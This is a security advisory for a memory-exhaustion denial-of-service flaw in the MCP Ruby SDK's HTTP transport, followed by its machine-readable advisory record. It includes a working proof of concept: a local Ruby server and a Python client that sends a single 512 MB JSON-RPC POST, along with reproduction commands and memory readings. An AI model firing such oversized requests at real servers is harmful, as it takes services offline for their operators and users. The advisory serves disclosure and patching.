GHSA-H669-8M4G-R2HC
Vulnerability from github – Published: 2026-07-30 14:44 – Updated: 2026-07-30 14:44Summary
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read— reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true)— fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (oom_poc_client.py)
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)
Reproduction commands
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MB
A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app — the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
Suggested mitigation
- Reject requests whose
Content-Length(or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before callingrequest.body.read. - Use a streaming JSON parser, or pass
max_nesting:plus a hard byte cap toJSON.parse. - Apply the same
limit:argument to$stdin.getsinStdioTransportfor defence in depth.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67432"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:44:06Z",
"nvd_published_at": "2026-07-29T20:17:12Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAn unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`:\n\n- Line 341: `body_string = request.body.read` \u2014 reads the full HTTP body into memory with no upper bound.\n- Lines 531\u2013535: `JSON.parse(body_string, symbolize_names: true)` \u2014 fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol.\n\nThe vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication.\n\nA second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.\n\n## Proof of concept\n\nBoth files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK\u0027s existing Gemfile entries (`rack ~\u003e 3.2`, `rackup \u003e= 2.1.0`, `webrick ~\u003e 1.9`) and Python\u0027s standard library.\n\n### Server (`oom_poc_server.rb`)\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"oom-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(\n server, stateless: true, enable_json_response: true,\n)\n\nThread.new do\n loop do\n rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n STDERR.puts(\"[mem] PID=#{Process.pid} RSS=#{rss_mb} MB\")\n sleep 2\n end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9293/\")\nRackup::Handler::WEBrick.run(\n transport,\n Host: \"127.0.0.1\", Port: 9293,\n AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`oom_poc_client.py`)\n\n```python\nimport socket\n\nHOST, PORT, PAYLOAD_MB = \"127.0.0.1\", 9293, 512\n\ninner = b\"A\" * (PAYLOAD_MB * 1024 * 1024 - 64)\nbody = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"x\":\"\u0027 + inner + b\u0027\"}}\u0027\n\nheaders = (\n f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Accept: application/json, text/event-stream\\r\\n\"\n f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode()\n\ns = socket.create_connection((HOST, PORT), timeout=120)\ns.sendall(headers)\nfor i in range(0, len(body), 1 \u003c\u003c 20):\n s.sendall(body[i:i + (1 \u003c\u003c 20)])\nprint(f\"sent {PAYLOAD_MB} MB\")\ntry:\n print(\"recv:\", s.recv(2048)[:200])\nexcept OSError as e:\n print(\"server unresponsive:\", e)\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby oom_poc_server.rb # terminal A\npython3 oom_poc_client.py # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4 (rbenv), against the SDK\u0027s `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`:\n\n```\n[mem] PID=61394 RSS=44 MB # idle baseline\n[mem] PID=61394 RSS=44 MB\n[mem] PID=61394 RSS=44 MB\n[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST\n[mem] PID=61394 RSS=1663 MB # memory not released\n[mem] PID=61394 RSS=1663 MB\n```\n\nA single unauthenticated POST grew the worker\u0027s RSS from 44 MB to 1.66 GB (~37\u00d7 amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.\n\n\u003cimg width=\"1588\" height=\"836\" alt=\"poc1-1\" src=\"https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f\" /\u003e\n\n\u003cimg width=\"1400\" height=\"948\" alt=\"poc1-2\" src=\"https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6\" /\u003e\n\n\n\n## Impact\n\n- **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.\n- **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.\n- **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app \u2014 the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected.\n\n## Suggested mitigation\n\n1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`.\n2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`.\n3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.",
"id": "GHSA-h669-8m4g-r2hc",
"modified": "2026-07-30T14:44:06Z",
"published": "2026-07-30T14:44:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67432"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/ruby-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.